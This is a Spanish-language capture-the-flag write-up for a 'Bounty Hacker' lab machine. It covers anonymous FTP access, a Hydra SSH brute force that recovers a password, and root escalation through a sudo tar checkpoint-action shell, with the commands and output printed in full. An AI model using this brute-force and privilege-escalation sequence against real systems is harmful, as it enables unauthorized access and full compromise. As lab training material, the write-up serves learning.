Entrada

Bounty Hacker

RECONOCIMIENTO

Empezamos investigando la máquina accediendo a su dirección ip por nuestro navegador, y como resultado, nos muestra una página web

Seguimos analizando su código, por si descubrimos algo interesante.

Hasta ahora no encontramos nada llamativo.

ESCANEO Y ENUMERACIÓN

Escaneamos la dirección IP con Nessus y analizamos los resultados obtenidos.

  • Encontramos los puertos 21, 22 y 80:

  • Sitemap con los directorios encontrados a los que podemos acceder

  • Servidor Apache

Accedemos a la carpeta http://<ip server>/images/y descargamos la foto crew.jpg para poder analizar su contenido. Existen varias herramientas, en este caso usare AperiSolve. Tras analizar la imagen, no obtenemos nada importante.

Habíamos localizados dos puertos abiertos, el 21 (ftp) y el 22 (ssh).

FTP

Empezaremos a investigar el ftp, en busca de archivos que contengan información que nos pueda ser útil.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ftp -v 10.10.165.251
Connected to 10.10.165.251.
220 (vsFTPd 3.0.3)
Name (10.10.165.251:okud4): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44252|)
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
229 Entering Extended Passive Mode (|||48913|)
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |*********************|   418        1.72 MiB/s    00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (8.29 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
229 Entering Extended Passive Mode (|||42990|)
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |*********************|    68      133.34 KiB/s    00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (1.34 KiB/s)

Ahora procedemos a ver el contenido de ambos archivos .txt

El archivo locks.txt parece ser posibles contraseñas y el archivo task.txt contiene la respuesta a una de las preguntas.

SSH

Ahora que tenemos una lista de usuarios, podemos acceder por ssh a nuestra máquina, pero nos falta obtener la clave, así que tenemos que conseguir el acceso por fuerza bruta usando #Hydra.

Pero antes de nada, volvemos a inspeccionar el contenido de la web en busca de algún dato importante. Vemos que el contenido es un dialogo entre cuatro personas… Tomaremos sus nombres, junto con el nombre de usuario que encontramos en task.txt y creamos un nuevo diccionario de nombres de usuario llamado users.txt. Este diccionario lo tomaremos junto con el archivo locks.txt para poder obtener el usuario y la clave de acceso para la conexión SSH.

1
2
3
4
5
6
7
8
9
❯ hydra -L users.txt -P locks.txt 10.10.244.57 ssh -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 19:44:12
[DATA] max 4 tasks per 1 server, overall 4 tasks, 130 login tries (l:5/p:26), ~33 tries per task
[DATA] attacking ssh://10.10.244.57:22/
[22][ssh] host: 10.10.244.57   login: lin   password: RedDr4gonSynd1cat3

EXPLOTACIÓN

Nos conectamos vía ssh al servidor con las credenciales que hemos obtenido anteriormente. Una vez dentro de el servidor, listamos los archivos que se encuentren dentro de la carpeta ~/Desktop y obtenemos el archivo user.txt el cual contiene la primera flag.

ESCALADA DE PRIVILEGIOS

Usando el comando sudo -l nos proporciona la información necesaria para poder obtener el vector de ataque a través de los archivos binarios. Para ello, nos ayudamos de la página GTFOBINS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
<udo tar -cf /dev/null /dev/null --c                              </dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
# ls /root
root.txt
# cat /root/root.txt
Esta entrada está licenciada bajo CC BY 4.0 por el autor.